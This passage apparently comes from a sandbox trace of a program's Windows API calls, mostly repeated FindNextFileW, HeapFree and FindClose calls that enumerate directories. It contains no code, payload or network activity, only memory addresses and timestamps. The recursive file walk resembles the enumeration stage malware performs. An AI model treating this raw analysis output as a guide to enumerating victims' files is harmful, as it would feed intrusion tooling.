lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.711] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.711] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.711] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.711] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.712] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.712] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.712] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.713] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.713] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.714] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0292.714] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0292.715] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0292.715] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.715] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.715] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.715] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.715] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.715] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.716] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.716] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.716] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0292.717] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.717] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.717] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.718] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0292.718] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0292.719] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.719] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0292.727] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0292.730] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0292.730] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.989] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0292.989] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.991] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0292.991] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0292.991] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0292.991] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.991] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0292.991] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0292.991] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0292.991] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.994] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0292.994] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.995] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0292.995] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.997] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0292.997] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0292.997] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.998] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0292.999] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0292.999] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0293.000] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0293.000] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0293.005] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0293.005] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0293.637] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0294.416] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0294.416] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0294.416] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0294.420] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.420] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.420] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.420] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.421] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.421] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.424] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.424] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0294.424] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0294.424] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0294.424] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0294.425] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.425] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0294.427] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.427] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0294.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.442] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0294.447] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.447] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0294.449] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0294.449] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0294.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.458] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.458] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.458] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.459] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.459] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.917] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0294.917] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0294.920] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.920] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.922] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.922] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.924] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.924] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.926] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.926] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.935] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.935] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.941] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.941] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.943] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.943] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.946] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.946] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0294.982] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0294.982] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.490] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.490] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.492] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.496] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.496] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.499] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.499] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.501] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.501] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.503] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.504] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.506] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.506] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.508] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.508] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0295.511] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0295.511] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.011] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.011] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.013] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.013] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.015] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.015] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.017] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.017] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.020] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.020] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.022] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.022] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.026] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.026] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.028] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.030] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.030] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.032] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.032] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.039] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.040] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0296.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0296.042] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.657] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x45548e0 | out: hHeap=0x700000) returned 1 [0297.658] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.660] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.660] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.665] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.665] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.667] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.667] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.670] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.670] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.677] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.677] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.679] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.679] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.684] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.684] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.686] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.686] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.690] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.690] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.692] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.692] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.694] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.694] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.696] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.696] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0297.698] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0297.698] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0297.698] FindClose (in: hFindFile=0x7fce48 | out: hFindFile=0x7fce48) returned 1 [0297.698] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0297.698] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0297.699] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0297.705] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0297.709] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0298.827] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0298.827] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0298.830] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.830] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.831] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.831] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.833] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.833] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.837] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.837] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.839] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.839] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.841] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.841] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.843] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.843] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.845] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.845] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.847] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.847] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.848] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.848] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.850] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.850] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.853] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.853] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.855] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.855] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.857] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.857] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.858] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.858] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.860] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.860] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0298.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0298.862] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.259] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.261] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.261] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.263] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0300.263] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0300.265] HeapFree (in: 